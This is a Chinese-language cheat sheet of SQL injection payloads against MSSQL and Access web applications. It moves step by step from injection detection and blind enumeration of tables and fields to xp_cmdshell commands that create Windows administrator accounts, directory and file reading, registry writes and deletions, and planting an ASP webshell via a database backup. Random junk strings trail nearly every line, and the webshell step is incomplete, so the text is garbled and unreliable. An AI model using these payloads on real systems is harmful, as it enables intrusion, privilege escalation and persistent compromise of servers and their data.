1.判断是否有注入;and 1=1 ;and 1=2 #k5WTcE
2.初步判断是否是mssql ;and user>0 N#'+p5|>
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3.注入参数是字符'and [查询条件] and ''=' (qT_4b~
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 5"Q3,4f
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5.判断数据库系统 i"2[OM\j7
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;and (select count(*) from sysobjects)>0 mssql b;K>Q!(|
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;and (select count(*) from msysobjects)>0 access rRyBGEj
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 j J6Y z
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 H S/1z
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 pisjfNT`o
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9.(1)猜字段的ascii值(access) 0 ;kcSz
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2MwRjh_
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(2)猜字段的ascii值(mssql) K}ACZT)Wp
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 {bnNY
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10.测试权限结构(mssql) s.+2[R1HF
#=/eu=
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$by-?z((
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ^! /7
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6+"P$Ed#i
|1J=wp)#
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- +RS>#zd/=
> ^fY`x,
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- R<
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ?P4@U9i
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- +%(iGI{
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;and 1=(select IS_MEMBER('db_owner'));-- %0T/>:1[E
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11.添加mssql和系统的帐户 qCK)FOU
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;exec master.dbo.sp_addlogin username;-- 49n.Gc
;exec master.dbo.sp_password null,username,password;-- V3baEy>=z
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- K1#Y{k5D}
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;exec master.dbo.xp_cmdshell 'net user username password Srj%6rgsB
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- iK{q_f\"
2f\;#-
;exec master.dbo.xp_cmdshell 'net user username password /add';-- }T%;G /W
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 1BQTvUAA
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12.(1)遍历目录 '8>h4s4
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;create table dirs(paths varchar(100), id int) dq~p]h~,H
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;insert dirs exec master.dbo.xp_dirtree 'c:\' D3Lu]=G
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;and (select top 1 paths from dirs)>0 `84pql,
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) eCdx(4(\a
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(2)遍历目录 UN_f2
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- TN3, \qgV
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 T.="a2iS2
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 K[)N/Q
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 :7%JD .;W
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 R-]QU`c
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13.mssql中的存储过程 Us.yKAHPV
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xp_regenumvalues 注册表根键, 子键 HRi~TZ?\
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 E(tdL,m'
g(<02t!OT=
xp_regread 根键,子键,键值名 m3XL;1y:a
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;exec xp_regread I2("p.+R
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 )xCpQ=nS
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xp_regwrite 根键,子键, 值名, 值类型, 值 (FZL>
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 mH*42XC*
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 #{7=
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xp_regdeletevalue 根键,子键,值名 pr>Qu:
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 N%6jZmKip
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 E*IkI))X0
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14.mssql的backup创建webshell 1YR;dn
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use model ]7zDdI|
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create table cmd(str image); C.@R#a'
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insert into cmd(str) values (''); $=iz&{9
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backup database model to disk='c:\l.asp'; #0`2wuo
{
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15.mssql内置函数 8<3J!X+
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;and (select @@version)>0 获得Windows的版本号 D9e"E1f+"
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 0sVCTJ@
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;and (select user_name())>0 爆当前系统的连接用户 #QZg{
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;and (select db_name())>0 得到当前连接的数据库 KJ,{w?p~
)
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16.简洁的webshell >!E:$;i@
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use model 7~cN
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create table cmd(str image); |U1X~\""
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insert into cmd(str) values (''); NWwfNb>
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backup database model to disk='g:\wwwtest\l.asp';